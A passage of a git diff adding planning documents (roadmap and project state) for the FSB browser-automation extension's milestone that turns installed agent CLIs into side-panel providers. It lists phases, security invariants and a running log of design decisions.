Provider/Schema-Lock Tests + UAT | 5/5 | Complete; live self-heal UAT human_needed | +| 33 | PhantomStream Media Mirroring (0.2.1 Uptake) — milestone extension | 1/1 | Complete; live media UAT human_needed | +| 34 | Explicit File Upload Tool (upload_file) — milestone extension | 1/1 | Complete; live upload UAT human_needed | + +Substrate carried into v1.0.0 (FIXED — do not redesign): tiers T0/T1a/T1b/T2-learned/T3-DOM; the closed-vocab interpreter; the consent gate (opt-out Auto default, denylist = the ONE hard floor); the 2 out-of-`TOOL_REGISTRY` MCP tools; `capability-catalog.js resolve()` / `capability-router.js invoke()` / `capability-search.js buildIndex()`; `scripts/package-extension.mjs readJsonDir` + the generated `recipe-index.generated.js` IIFE; the `github.js` T1a hand-port contract; `service-denylist.js` loader; `network-capture.js` discovery path; `verify-recipe-path-guard.mjs` Wall-1 guard. + +
+ +
+v0.12.0 PhantomStream Package Migration — Phases 21-25, COMPLETED 2026-06-17 + +Archive files: + +- `.planning/milestones/v0.12.0-ROADMAP.md` +- `.planning/milestones/v0.12.0-REQUIREMENTS.md` +- `.planning/milestones/v0.12.0-MILESTONE-AUDIT.md` +- `.planning/milestones/v0.12.0-phases/` + +Phase summary: + +| Phase | Name | Plans | Status | +|-------|------|-------|--------| +| 21 | Package Intake & Contract Mapping | 3/3 | Complete | +| 22 | Capture Adapter Migration | 4/4 | Complete | +| 23 | Dashboard Renderer Migration | 4/4 | Complete | +| 24 | Transport, Relay & Remote Control Integration | 4/4 | Complete | +| 25 | Parity Removal, Docs & Browser UAT | 4/4 | Complete; human UAT debt recorded | + +Known deferred closeout evidence: live Chrome-extension dashboard preview and remote-control UAT remains `human_needed`; see `.planning/milestones/v0.12.0-phases/25-parity-removal-docs-browser-uat/25-HUMAN-UAT.md`. + +
+ +
+v0.11.0 Trigger Tool (Reactive DOM Monitoring) — Phases 14-20, COMPLETED 2026-06-17 + +Phase summary: + +| Phase | Name | Plans | Status | +|-------|------|-------|--------| +| 14 | Trigger Survivability Foundation | 3/3 | Complete | +| 15 | Fire-Condition Engine & Value Extraction | 3/3 | Complete | +| 16 | Live-Observe Watch & Analyzing Pulse | 4/4 | Complete | +| 17 | Refresh-Poll Watch (Tab-Owning Background Reload) | 4/4 | Complete | +| 18 | Shared Tool Registry & Dispatcher Wiring | 4/4 | Complete | +| 19 | MCP Tools & Blocking/Detached Reporting | 3/3 | Complete | +| 20 | Integration, Cap UI, Docs & Edge Cases | 5/5 | Complete; human UAT debt recorded | + +Known deferred closeout evidence: live-browser/composed trigger UAT remains `human_needed`; publish/tag/release actions remain user-gated. + +
+ +
+v0.10.0 Autopilot via Lattice SDK (Phases 01-13) — SHIPPED 2026-06-15 + +Archive files: + +- `.planning/milestones/v0.10.0-ROADMAP.md` +- `.planning/milestones/v0.10.0-REQUIREMENTS.md` +- `.planning/milestones/v0.10.0-MILESTONE-AUDIT.md` +- `.planning/milestones/v0.10.0-phases/` + +Phase summary: + +| Phase | Name | Plans | Status | +|-------|------|-------|--------| +| 01 | Lattice SDK gap survey + integration scaffolding | 2/2 | Complete | +| 02 | Lattice tripwire + receipt primitives extension | 5/5 | Complete | +| 03 | Observability + step-markers extension | 3/3 | Complete | +| 04 | Provider adapter alignment | 5/5 | Complete | +| 05 | MV3-survivability adapter contract + bundler infra + hybrid offscreen Lattice host | 6/6 | Complete | +| 06 | FSB engine consumes Lattice provider abstraction | 7/7 | Complete | +| 07 | Archive FSB custom provider stack | 4/4 | Complete | +| 08 | FSB agent brain on Lattice runtime | 3/3 | Complete | +| 09 | FSB SurvivabilityAdapter activated for MV3 SW eviction resumption | 3/3 | Complete | +| 10 | MCP-philosophy parity for autopilot driver | 3/3 | Complete | +| 11 | Tab-aware side panel surface | 5/5 | Complete | +| 12 | Side panel follows automation | 5/5 | Complete | +| 13 | Public Lattice package integration | 1/1 | Complete | + +Known deferred closeout evidence: 11 human-gated Chrome MV3/UAT verification items were acknowledged at close. See `.planning/STATE.md` `## Deferred Items`. + +
+ +## Carry-Forward Candidates + +- **v0.9.91 v2 deferred (see REQUIREMENTS.md):** CHAT-FUTURE-01/02 (chat-mode continuity via `--resume` / `codex resume` / `opencode --continue` + per-thread cwd pinning); GEMINI-FUTURE-01 (Gemini CLI adapter after live `--help` capture + JSONL schema pinning); ACP-FUTURE-01 (`@zed-industries/agent-client-protocol` unification once ≥2 non-Claude adapters have shipped); REMOTE-FUTURE-01 (remote/mobile delegation surfaces — v0.9.91 is explicitly localhost-only). +- **Consolidated Chrome MV3 UAT debt:** Run and capture archived v0.10/v0.11/v0.12 + v0.9.99 (UAT-27/29/30/31/32-01) browser evidence if release policy requires post-close proof. Does NOT block v0.9.91. +- **v1.2.0 v2 deferred:** QA-01 (native-speaker/bilingual QA pass), I18N-FUTURE-01 (migrate stats page off ad hoc JSON mechanism into main XLIFF pipeline), I18N-FUTURE-02 (full automated per-locale visual regression pipeline), I18N-FUTURE-03 (translation-freshness/"last synced" reporting surface). +- **v2 deferred capability families (acknowledged, out of v1.0.0/v1.1.0):** GAPI-01 (gapi-bridge handler family for Google Workspace); CLOUD-01 (cloud-console Pattern-D ports); UATX-01 (per-app live guarded-write UAT closeout). +- **Delegation primitive (Lattice-owned):** Parked from v0.10.0; re-scope as either a Lattice-owned primitive or an FSB-only consumer of Lattice receipt + tripwire surfaces after v0.9.91 stabilizes the adapter contract. + +## Backlog + +### Phase 999.1: MCP tool gaps — click heuristics + +**Status:** Completed historical backlog work retained outside milestone archival. + +- `999.1-01`: Route-aware MCP bridge dispatch + `execute_js` background handler. +- `999.1-02`: Text-based click targeting with TreeWalker visible-text matching. + +Artifacts remain in `.planning/phases/999.1-mcp-tool-gaps-click-heuristics/`. diff --git a/.planning/milestones/v0.9.91-STATE.md b/.planning/milestones/v0.9.91-STATE.md new file mode 100644 index 000000000..e3a126cfb --- /dev/null +++ b/.planning/milestones/v0.9.91-STATE.md @@ -0,0 +1,469 @@ +--- +gsd_state_version: 1.0 +milestone: v0.9.91 +milestone_name: MCP Clients as Providers +status: human_needed +stopped_at: Phase 65 automated verification passed; human UAT65-01 through UAT65-03 pending +last_updated: "2026-07-22T18:45:13.807Z" +last_activity: 2026-07-22 +progress: + total_phases: 18 + completed_phases: 9 + total_plans: 61 + completed_plans: 63 + percent: 50 +--- + +*Note: the `total_phases`/`completed_phases` counts above are scoped to the active v0.9.91 milestone (Phases 57-65) only. Some GSD tooling (`roadmap.analyze`, `phase.complete`) reports a noisy multi-phase count including collapsed `## Completed Milestones` archive entries and `## Backlog` sections — treat this file's own numbers as authoritative for v0.9.91 progress.* + +# Project State + +> **Post-milestone supersession (2026-07-15):** This file preserves the +> completed v1.2.0 state. The later showcase localization follow-up localized +> the dashboard and removed its lint exclusion, so the dashboard hard invariant +> below is historical rather than current. See +> `showcase/angular/src/locale/I18N-BOUNDARIES.md` for current policy. + +## Project Reference + +See: .planning/PROJECT.md (v0.9.91 MCP Clients as Providers — Current Milestone section, Key context bullets) +See: .planning/ROADMAP.md (v0.9.91 active, Phases 57-65; v1.2.0 / v1.1.0 / v1.0.0 / v0.9.99 / etc. archived and collapsed) +See: .planning/REQUIREMENTS.md (51 v1 requirements across 10 categories: IDENT, PROV, CHAN, ADAPT, CLAUDE, UX, LIFE, DRIFT, NATIVE, MULTI — all mapped to Phases 57-65, 48/51 complete) +See: .planning/research/SUMMARY.md (converged research summary; suggested phase structure; HIGH confidence) +See: .planning/research/PITFALLS.md (16 pitfalls with phase assignments; security section verified against 2025-2026 CVE class incidents) +See: .planning/research/ARCHITECTURE.md (file:line integration seams; brownfield mapping onto existing FSB architecture) +See: .planning/milestones/v1.2.0-ROADMAP.md, .planning/milestones/v1.2.0-REQUIREMENTS.md, .planning/v1.2.0-MILESTONE-AUDIT.md (archived Showcase i18n Completeness milestone) + +**Core value:** Reliable single-attempt execution — the AI decides correctly, the mechanics execute precisely. v0.9.91 does not touch the DOM/automation single-attempt property; it extends the surface so installed agent CLIs (Claude Code first, then OpenCode + Codex) become first-class side-panel providers that drive the same live browser through FSB's own MCP tools. +**Current focus:** Milestone-end human UAT sweep; Phase 65 automated verification is complete + +## Current Position + +Phase: 65 (codex-adapter) — EXECUTING +Plan: 8 of 8 +Status: human_needed +Last activity: 2026-07-28 - Completed quick task 260728-k2v: animated toolbar action icon + +## Roadmap At A Glance (v0.9.91, Phases 57-65) + +| Phase | Name | Requirements | Status | +|-------|------|--------------|--------| +| 57 | Agent Identity Capture | IDENT-01, IDENT-02, IDENT-03, IDENT-04, IDENT-05 | Complete (2026-07-12) | +| 58 | Providers Panel | PROV-01, PROV-02, PROV-03, PROV-04, PROV-05, PROV-06 | Complete (2026-07-12; UAT deferred to milestone end) | +| 59 | Reverse-Request Channel & Security Foundation | CHAN-01, CHAN-02, CHAN-03, CHAN-04, CHAN-05, CHAN-06, CHAN-07 | Complete (2026-07-14; UAT deferred to milestone end) | +| 60 | Adapter Contract & Claude Code MVP | ADAPT-01..05, CLAUDE-01..04 | Complete (2026-07-14; UAT deferred to milestone end) | +| 61 | Delegation UX & SW-Eviction Persistence | UX-01..06, LIFE-01..04 | Complete (2026-07-15; UAT deferred to milestone end) | +| 62 | CI Drift-Smoke Gate & Doctor Extensions | DRIFT-01, DRIFT-02, DRIFT-03, DRIFT-04 | Complete (2026-07-16; UAT deferred to milestone end) | +| 63 | Native-Messaging Host | NATIVE-01, NATIVE-02, NATIVE-03, NATIVE-04 | Complete (2026-07-20; UAT deferred to milestone end) | +| 64 | OpenCode Adapter | MULTI-01, MULTI-02, MULTI-03 | In Progress (9/13) | +| 65 | Codex Adapter | MULTI-04, MULTI-05, MULTI-06 | Not started | + +Coverage: 51/51 v0.9.91 requirements mapped and automated/source complete; milestone closure awaits the accumulated human UAT ledgers + +## Hard Invariants (v0.9.91) + +- **Security-first hard rule.** All CHAN-01..CHAN-07 land in Phase 59 together, BEFORE any spawn code exists in Phase 60. Not deferrable to a "hardening" phase. +- **INV-01 (byte-stable MCP wire).** Every wire addition is additive: new frame types (`ext:request` / `ext:response` / `ext:event`) + optional payload fields only. No existing `MCPMessageType` value or tool schema changes across the entire milestone; a byte-freeze regression test proves this in every wire-touching phase. +- **INV-03 (BYOK provider parity).** `universal-provider.js` continues to see only the existing 7 `api`-kind provider values across the whole milestone; `agent`-kind values never leak into request-builders. +- **INV-04 (MV3 SW-survivability).** The `setTimeout`-chained iterator pattern is preserved; delegation lifecycle persists to `chrome.storage.session` per progress event and heartbeats WS every 20 s. +- **INV-05 (no resurrection of sunset modules).** `extension/agents/*` background-agents surface (retired in v0.9.45rc1) stays frozen; the new provider surface is MCP-client identity, a different concept. +- **Task-mode only for v0.9.91.** Every adapter's `caps.chatMode: false`. Chat-mode continuity via `--resume` / `codex resume` / `opencode --continue` is v2 scope (CHAT-FUTURE-01/02). +- **No `--dangerously-skip-permissions` / `--yolo` / `--auto` in the spawn path.** Anywhere. Ever. CHAN-07 makes this a permanent invariant enforced by a CI grep gate; the Codex adapter (Phase 65) explicitly must NOT reference `--full-auto`. +- **No `@anthropic-ai/claude-agent-sdk` embedded in FSB.** Anthropic banned third-party products from using consumer subscription auth via the SDK (enforcement Apr 4 2026). Shell to the user's installed `claude` binary only. +- **No native-messaging permission through Phases 57-62.** The extension has NO way to wake the daemon in those phases; delegation UX must ship an honest "Agent offline → `doctor`" state (LIFE-03). Phase 63 (NATIVE) adds the optional wake-host later without relaxing any CHAN rule — the host itself never spawns agent CLIs (NATIVE-03). +- **Source-pin tripwire discipline.** Test suite pins exact token counts + substrings on extension source. Every extension-touching commit updates paired tripwires in the same commit; the full suite runs green from commit 1 of every phase. +- **Same-context dispatch in the MV3 SW.** Delegation dispatcher integrates through `globalThis.fsbDispatchInternalMessage` / the Phase 225-01 bus, NOT `chrome.runtime.sendMessage` (auto-memory: sendMessage never loops back in-SW). +- **Adapter breadth: Claude Code + OpenCode + Codex; NO Gemini.** GEMINI-FUTURE-01 defers Gemini until a live `--help` capture + JSONL schema pinning are done. + +## Accumulated Context + +### Decisions + +Full decision log for prior milestones (v0.9.99 Phase 26-34, v1.0.0, v1.1.0, v1.2.0) lives in PROJECT.md, ROADMAP.md's `## Completed Milestones` section, and the archived `.planning/milestones/*` files. Those decisions concern the T1 capability-catalog surface and the showcase-i18n surface; they have zero shared surface with v0.9.91's provider/delegation work and are not repeated here to keep this file a digest. + +v0.9.91-specific decisions so far: + +- [Roadmap]: Phase structure follows the research SUMMARY.md's dependency chain (identity → provider UI → security → adapter contract + Claude MVP → UX/lifecycle → drift → native → OpenCode → Codex). ADAPT and CLAUDE combined in one phase (60) because the Claude Code MVP is the contract's first real implementation; UX and LIFE combined in one phase (61) because the UX affordances (kill switch reclaims tabs, offline state, take-control) are inseparable from the persistence semantics that make them SW-eviction-safe. +- [Roadmap]: MULTI split across two phases (64 = OpenCode, 65 = Codex) rather than combined into one, because each adapter has its own version-pinning spike, fixture capture, and auth-detection story — the incremental phase cost is small versus the risk of one adapter's drift blocking the other's ship. +- [Roadmap]: NATIVE placed at Phase 63 (after DRIFT) rather than immediately after UX, so the doctor extensions from DRIFT (compatibility matrix, per-adapter section) exist before the native host reports its own state; NATIVE cannot ship BEFORE UX because it augments UX's "Agent offline" state. +- [Roadmap]: Security-first hard rule is enforced by phase ordering AND by the CHAN-07 CI grep gate landing in Phase 59; the gate protects future patches (including Phase 65's Codex adapter, which must NEVER reference `--full-auto`). +- [Roadmap]: DRIFT is INCLUDED in v0.9.91 (Phase 62) per user confirmation; the drift gate is scoped to Claude Code from its first commit and extended per-adapter as OpenCode and Codex land in Phases 64/65. +- [Roadmap]: NATIVE is INCLUDED in v0.9.91 (Phase 63) per user confirmation; the additive `nativeMessaging` permission is the only permission change in the milestone. +- [Roadmap]: Every `agent`-kind cost row displays "included in your subscription" + real token/turn/duration counts — never a fabricated dollar amount (PROV-06). The Codex adapter's per-auth-state copy (Phase 65) is the strictest test of this discipline. +- [Roadmap]: The reverse-request channel reuses the existing `ws://localhost:7225` bridge; no new port is added (SUMMARY.md architecture decision; a separate supervisor port is a documented fallback if hub-forwarding proves fragile during Phase 59 implementation). +- [Phase 57]: Read MCP client identity and inventory lazily through feature-detected AgentScope suppliers so bare scopes and structural mocks remain compatible. +- [Phase 57]: Reuse PLATFORMS and resolvePlatformTarget for installed-client detection, with fixed shell-free Claude Code version probes. +- [Phase 57]: Deliver one memoized client inventory through both system:client-inventory and agent:register payload.platforms. +- [Phase 57]: Keep MCP clientInfo observational and bounded — Only sanitized name/version evidence is persisted; authority, cap, ownership, and routing logic remain unchanged. +- [Phase 57]: Converge both installed-inventory delivery paths on replaceInstalled — Registration piggybacks and system frames replace only installed evidence while preserving clicked, connected, and unknown siblings. +- [Phase 57]: Persist onboarding intent without awaiting storage — Resolve current at click time and serialize same-page writes so feedback timing is unchanged and rapid clicks retain counts. +- [Phase 57]: Join known MCP identities only through a frozen exact alias vocabulary — Unknown names remain visible as raw, non-authoritative entries; no fuzzy matching or Gemini aliasing. +- [Phase 57]: Re-read durable provider evidence for every merged query — Clicked, installed, connected, and live evidence stay separate and no recommendation is derived. +- [Phase 57]: Guard getMcpClients with the existing own-extension sender check and direct registry access — This preserves same-context service-worker dispatch without self-send. +- [Phase 57]: Expose getMergedClients as a non-enumerable additive helper — Direct consumers gain the method while the locked enumerable API remains compatible. +- [Phase 58]: Keep provider settings and recommendation evidence separate — modelProvider remains closed to seven API ids, agent intent stays in agentProviderId, and fixed live/installed/clicked evidence changes only one advisory recommendation. +- [Phase 58]: Keep the radio roster as an in-form projection — API and agent selections use the existing Save/Discard boundary, inactive-kind values survive switching, and agent ids never enter modelProvider or discovery maps. +- [Phase 58]: Preserve the last successful evidence snapshot on refresh failure and label it stale — provider evidence and the single recommendation remain advisory and never mutate selection, API inputs, Save state, or storage. +- [Phase 58]: Keep account and billing truth independent from client evidence — absent auth renders Billing not reported; only explicit future subscription/API/credit/Zen/provider modes can change that label. +- [Phase 58]: Announce background provider refreshes through polite status and reserve one assertive alert for an explicit manual failure; never turn the full details region into an alert. +- [Phase 60]: Keep spawn authority serve-only and recovery-gated — bind HTTP first, finish exact journal recovery second, then advertise `agent-spawn`; stdio and incidental bridges never own a supervisor. +- [Phase 60]: Use one closed Claude Code 2.1.177 profile with a retained native path, immutable MCP-only argv, a shipped static FSB agent, task text through stdin only, scrubbed provider-key environment, and truthful schema-derived fixture provenance. +- [Phase 60]: Treat process-tree or runtime cleanup uncertainty as daemon-wide degradation — stop accepting starts, preserve exact evidence, and drive one orderly nonzero shutdown rather than risk overlapping browser authority. +- [Phase 60]: Bind delegation lifetime to its authenticated reverse route and join setup, stdin, cleanup, and cancellation so every topology/exit/error race settles exactly once without replay. +- [Phase 61 planning]: Keep provider selection background-authoritative and exact; pure preflight plus challenge-bound trust enable precede all visible mutation, while Providers gets a separate authority-reducing confirmation reset. +- [Phase 61 planning]: Persist one bounded redacted typed entry per normalized event before fanout; per-correlation bridge tails, closed snapshots/terminal codes, and UI-only exact sequence suppression prevent final-over-write and recovery ambiguity. +- [Phase 61 planning]: The controller owns id-keyed run records and active-tab eligibility; confirmed hold moves every exact mapped tab into one sealed lease, complete restore precedes resume, and Stop waits tree settlement before exact release/count. +- [Phase 61 planning]: Active delegation liveness uses one ref-counted 20-second exact-nonce heartbeat with daemon echo and three-miss disconnect; restart loss additionally requires generation plus bounded recovery disposition. +- [Phase 61 Plan 01]: Keep API-kind agent ids storage-compatible but inactive at pure preflight; only exact `agent` + `claude-code` enters delegated routing, with closed unsupported/offline/unpaired results. +- [Phase 61 Plan 01]: Persist a challenge's one-use trust-write slot before local trust enable, so replay and local-storage failure cannot reopen authority; exact provider-local clear remains the sole false path. +- [Phase 61 Plan 01]: Keep provider trust outside broad Config authority, and require a freshly minted, atomically consumed internal challenge for trusted and untrusted starts alike. +- [Phase 61 Plan 02]: Treat the bounded redacted session ledger as the visibility commit point; only a successfully persisted canonical entry may change controller state or fan out. +- [Phase 61 Plan 02]: Reject persisted duplicate, conflicting, gapped, reversed, or identity-mismatched sequences as corruption; delivery deduplication remains UI-only. +- [Phase 61 Plan 02]: Isolate timers and settlement per server delegation id, seal every mapped tab into one hold lease, and restore the complete lease before daemon resume. +- [Phase 61 Plan 03]: Serialize the global observer roster on each pending correlation's private tail; matching final settlement waits for that tail and observer failure rejects only that request. +- [Phase 61 Plan 03]: Replace ordinary keepalive with one Set-refcounted 20-second exact-nonce loop only while delegation owners exist; three misses classify disconnected without restart or replay inference. +- [Phase 61 Plan 03]: Pin exact Chrome 116 while leaving permissions, worker scripts, and bridge authority unchanged; doctor/setup remain data-only future UI behavior with no native, shell, process, or daemon-restart path. +- [Phase 61 Plan 04]: Carry the daemon-minted delegation id only on the initial bounded registration sidecar; the sole controller gate binds it once to a fresh extension-minted agent and every denial rolls the ordinary agent back. +- [Phase 61 Plan 04]: Persist cloned candidate registry state before adopting delegation binding, hold seal, restore, or exact release, so storage rejection and index drift leave the prior complete authority unchanged. +- [Phase 61 Plan 04]: Treat the five-minute hold deadline as cancellation-required rather than ownership release; complete tab/token reservations remain unclaimable through expiry and worker reload. +- [Phase 61 Plan 04]: Refuse generic/grace release for controller-mapped agents; only exact delegation-plus-agent cleanup may remove their distinct active and held tab union and report its count. +- [Phase 61 Plan 05]: Keep hold, resume, cancel, settlement, and status inside the one serve-owned supervisor; the five-method adapter contract remains unchanged. +- [Phase 61 Plan 05]: A POSIX lifecycle transition is acknowledged only after the retained group and exact tree are confirmed before and after its signal; unsupported or unverifiable paths converge to confirmed cancellation. +- [Phase 61 Plan 05]: Restart loss requires a prior daemon generation plus an owner-only persisted post-cleanup disposition; same-generation records, transport disconnect, and failed cleanup never qualify. +- [Phase 61 Plan 06]: Keep background as the sole delegation composition root; authoritative provider reload, preflight, challenge consumption, daemon acceptance, and controller/UI allocation remain strictly ordered before any legacy mutation. +- [Phase 61 Plan 06]: Treat same-generation supervisor status as observation only; generation change without matching explicit restart disposition remains disconnected and classification-pending without adopting the new generation. +- [Phase 61 Plan 06]: Retain one heartbeat owner for every hydrated nonterminal id and release it only after terminal persistence and exact tab cleanup; all owners continue to share the bridge's single interval. +- [Phase 61 Plan 06]: Recover held state only from the registry's complete exact sealed lease; a missing or inconsistent lease cancels rather than recreating ownership. +- [Phase 61 Plan 07]: Render only closed canonical snapshot fields through text-only DOM construction; presentation strings, provider-native payloads, URLs, and style metadata never become UI authority or executable markup. +- [Phase 61 Plan 07]: Bind one exact server delegation id to one selected conversation in bounded session storage, hydrate silently before subscribing, and announce only strictly newer matching sequences. +- [Phase 61 Plan 07]: Change consent, held/running, stopping/stopped, disconnect, and restart-loss presentation only after authoritative background snapshots; pending controls never invent lifecycle state. +- [Phase 61 Plan 07]: Limit recovery actions to copying the literal doctor command or opening the local Providers surface; no side-panel action executes, restarts, or invokes native code. +- [Phase 61 Plan 08]: Keep one eight-scenario milestone-end live ledger with every result `human_needed`, pending, and empty; deterministic evidence proves the ledger is honest but never substitutes for performing it. +- [Phase 61 Plan 08]: Close the phase contract mechanically across all 23 task rows, UX/LIFE requirements, D-01..D-28, T61-01..14, typed schemas, architecture links, UI rules, and forbidden authority patterns. +- [Phase 61 Plan 08]: Restore only exact paths that were already unstaged before a full-suite run; never restore, stage, or otherwise mutate the Git index, and continue failing closed on newly dirty clean paths or untracked entries. +- [Phase 61 Plan 08]: Preserve the first Wave-5 wrapper preservation red separately from the explicitly authorized corrected green; no failed evidence is erased or relabeled. +- [Phase 62 Plan 01]: Keep one exact deeply frozen daemon matrix as the only version/profile/fixture authority; only the inclusive fixture-tested range is supported, while newer same-major evidence is degraded but remains start-eligible. +- [Phase 62 Plan 01]: Drive drift CI from the production registry and each registered adapter's production parser, preserving the Claude fixture's schema-derived provenance and pending live-capture truth exactly. +- [Phase 62 Plan 01]: Retain only detector-approved binary/version evidence on unsupported local detections so later doctor output is useful without granting start/profile authority. +- [Phase 62 Plan 02]: Build local doctor rows only from the production-registry/canonical-matrix intersection; malformed or unavailable detectors fail closed without suppressing offline diagnostics. +- [Phase 62 Plan 02]: Keep Claude auth exactly `unknown` / `Not reported` and project bridge auth immediately to secret presence, validated rotation timestamp, and non-negative age only. +- [Phase 62 Plan 02]: Render human and JSON doctor modes from one collected snapshot while preserving historical diagnostic-layer precedence and healthy/unhealthy exit semantics. +- [Phase 62 Plan 03]: Route compatibility through a separate authenticated exact-empty-payload read while leaving delegation and process authority unchanged. +- [Phase 62 Plan 03]: Validate and durably replace one closed safe compatibility snapshot on the existing serialized provider mutation chain, with a one-way fifteen-minute freshness downgrade. +- [Phase 62 Plan 03]: Coalesce paired compatibility refreshes behind one five-second request and persist before fan-out; failures expose only refreshed, stale, or unavailable cached outcomes. +- [Phase 62 Plan 04]: Project every typed provider-protocol drift into one exact three-label terminal detail and collapse untyped drift to fixed adapter-contract labels. +- [Phase 62 Plan 04]: Enforce the per-adapter ten-second admission window before invoking the ring-writing diagnostics sink, including exact-boundary and clock-rollback behavior. +- [Phase 62 Plan 04]: Report only validated authoritative finals once per delegation through a private bounded FIFO, independently of controller settlement and cleanup. +- [Phase 62 Plan 05]: Map only background-projected compatibility into one constant-owned Supported, Degraded, or Unsupported display model; invalid or unshipped evidence fails closed. +- [Phase 62 Plan 05]: Keep compatibility observational and distinct from availability, recommendation, selection, auth, billing, and start authority across DOM, announcements, and refresh. +- [Phase 62 Plan 05]: Apply semantic compatibility styling through existing tokens and fixed responsive ranges without recoloring or reordering existing provider controls. +- [Phase 62 Plan 06]: Root and CI execute the exact generalized drift harness while one 763-assertion contract pins all 17 tasks, four requirements, eight threats, safe projections, and preserved Phase 59–61 interfaces. +- [Phase 62 Plan 06]: Keep exactly three unchecked Phase 62 UAT scenarios pending and evidence-empty until the user-directed milestone-end sweep; automation verifies ledger integrity but never promotes it. +- [Phase 62 closeout]: Diagnose guarded-suite failures as stale test seams, preserve production authority, and require an explicit exit-0 workspace-preserving full-suite result before advancing. +- [Milestone]: Defer every live/human UAT checklist to one milestone-end sweep; automated/source verification and clean review remain mandatory per phase, and no deferred item is silently marked passed. +- [Phase 63]: Use only a version-bound Windows PE bootstrap; never select a batch, command-shell, PowerShell, SEA, or historical relay fallback. — Chromium directly launches executable hosts, and a minimal reviewed CreateProcessW boundary avoids command-interpreter authority. +- [Phase 63]: Keep the stable runtime below the fixed per-user FSB root and separate from the invoking npm cache, checkout, or package root. — Registration must remain durable after npx cache eviction and must have one closed ownership boundary for later atomic install and uninstall. +- [Phase 63]: Exact-pin and bundle all six direct production dependencies, with every lock-reachable production package bound into a deterministic integrity receipt. — The installed host runtime must materialize from a new empty cache without registry access or silent online fallback. +- [Phase 63]: Run npm pack from the exact absolute package cwd with a constant dot argument. — npm 11 omits bundled dependencies when the same relocated package is passed as a directory spec, while the exact cwd form preserves the complete bundled tree. +- [Phase 63]: Pack once for publication, verify that exact tarball offline, and bind its SHA-512 with the lock, receipt, version, and both PE checksums. — The release dependency graph must not publish a tarball different from the artifact that passed the complete closure and platform gates. +- [Phase 63]: Use exact service identity, numeric native-host protocol 1, and false-by-default serve readiness. — A generic or partially initialized loopback listener must never count as the ready FSB daemon. +- [Phase 63]: Prepare bridge auth only after successful bind and recovery, before bridge connect. — A losing concurrent serve process must be unable to invalidate the active daemon session. +- [Phase 63]: Publish serve readiness only after initial inventory push. — Reachability becomes true only after the complete startup barrier has settled. +- [Phase 63]: Treat zero-byte EOF as a silent boot-presence probe before invocation validation; it produces no handler call or stdout frame. — Chrome must be able to probe native-host installation without manufacturing a wake request or causing daemon work. +- [Phase 63]: Permit only the exact entry/constants/protocol native leaf graph plus node:os at this wave, with source and compiled graphs judged separately. — The positive graph prevents authority drift now while allowing Plan 04 to extend the verifier deliberately when its frozen runtime leaves exist. +- [Phase 63]: Reconstruct every native response through the closed outcome/reason table and await at most one framed stdout write. — Closed reconstruction and one-shot settlement keep stdout protocol-pure and prevent handler objects or raw errors from widening the native boundary. +- [Phase 63]: Let only exact ready FSB v1 health bypass or complete wake authority; incompatible responders are closed unavailable facts. — A generic, malformed, oversized, partially ready, or protocol-incompatible loopback listener must never be overwritten or mistaken for the owned daemon. +- [Phase 63]: Coalesce native wake with an atomic token-only directory lock, health-rechecked stale quarantine, and exact-token release. — Concurrent hosts may create at most one serve child, and no process identifier or signaling authority is needed for recovery or timeout settlement. +- [Phase 63]: Keep the stable native-host index as a one-shot composition root over only constants, protocol, runtime-layout, platform, daemon, and entry leaves. — The exact positive graph and unique absolute-Node serve edge prevent installer, router, agent, task, browser, auth, shell, or extra child-process authority from entering the host. +- [Phase 63]: Treat HKCU user/32 as the sole canonical Windows registration view and every user/64 value as a non-mutable shadow mismatch. — Chrome's first-read view must never be silently shadowed or repaired by broad registry authority. +- [Phase 63]: Publish only an exact package runtime whose lock-bound bundled production closure survives empty-cache offline reinstallation and full artifact revalidation. — Native registration must never point at the invoking checkout, npm cache, incomplete tarball, or an online fallback. +- [Phase 63]: Install only from both-absent state or accept both-exact-current as zero-write idempotence; refuse split, older, foreign, invalid, symlinked, unavailable, or shadowed state. — Persistent code-execution registration cannot be implicitly repaired or upgraded. +- [Phase 63]: Remove registration first and then only an internally exact marker-proved runtime, including an intact older owned version. — Uninstall authority follows proven ownership rather than the current invoker version and never reaches adjacent hosts or broad Chrome roots. +- [Phase 63]: Route native CLI work by exact own-key presence before list, all, client, or Claude expansion, then validate the complete flag record. — A malformed or mixed explicit target must fail before any native or legacy mutation. +- [Phase 63]: Reconstruct terminal receipts from exactly five ordinary own data fields with closed reasons, origins, and bounded control-free locations. — Prototype data, raw errors, and receipt extras must never become optimistic or sensitive output. +- [Phase 63]: Keep unresolved production dependency composition outside the CLI router and fail closed as unavailable. — Plan 05 has no safe production filesystem/process/registry composer or persisted receipt layer, and Plan 06 must not invent that architecture while claiming live operability. +- [Phase 63]: Keep Chrome native APIs inside one background helper with memory-only advisory presence and cooldown. — UI and persisted state cannot acquire native lifecycle authority. +- [Phase 63]: Allow actual wake only after the existing pure preflight returns exact agent_offline. — Native reachability cannot override provider, pairing, consent, or start authority. +- [Phase 63]: Treat exact native success as reachability only, then wait for the ordinary bridge and rerun pure preflight directly once. — Every failure preserves the original offline result and no user intent is replayed. +- [Phase 63]: Protect the sole nativeMessaging manifest addition with an exact prior-byte hash and extension-wide authority scan. — No other permission or extension module silently gains native authority. +- [Phase 63]: Fence native wake UI by safe Send intent, exact composer bytes, and monotonic edit revision through consent lookup. — Any input event or stale settlement must become a no-op, including edit-then-revert and a response racing a newer explicit Send. +- [Phase 63]: Render checking only in the existing delegation card and announcer with fixed info-tone copy. — Transient native reachability is presentation-only and cannot create actions, alerts, focus moves, feed/session/tab state, or native authority. +- [Phase 63]: Converge every native wake settlement through the existing preflight, consent, start, unpaired, and offline branches. — Native success remains reachability only; provider, pairing, consent, and start authority stay in their established controllers. +- [Phase 63]: Keep all eight genuine OS, Chrome, visual, keyboard, and screen-reader scenarios in one milestone-end ledger — Automated evidence may validate ledger integrity but cannot populate or promote live UAT +- [Phase 63]: Run compiled Phase 63 seams in one workspace-preserving build lifecycle — The complete prior build graph, unrelated dirty bytes, and raw Git index must survive every automated gate exactly +- [Phase 63]: Derive all 30 validation mappings directly from the twelve PLAN files — A mechanical bijection fails on any missing, duplicate, or altered task mapping while future reviews remain honestly pending +- [Phase 63]: Bind independent code, security, and UI reviews to one canonical patch, ordered manifest, implementation index, and worktree fingerprint — Review prose and verifier infrastructure cannot silently alter the implementation identity being approved +- [Phase 63]: Preserve resolved blocking findings in the final review record and rerun each affected review after RED/GREEN remediation — Any open or accepted HIGH/CRITICAL row remains a hard stop, while historical resolved rows stay auditable +- [Phase 63]: Use one separately packaged fixed Win32 Registry API helper instead of `reg.exe`, inherited `SystemRoot`, or `PATH` executable authority — Locale-dependent output and 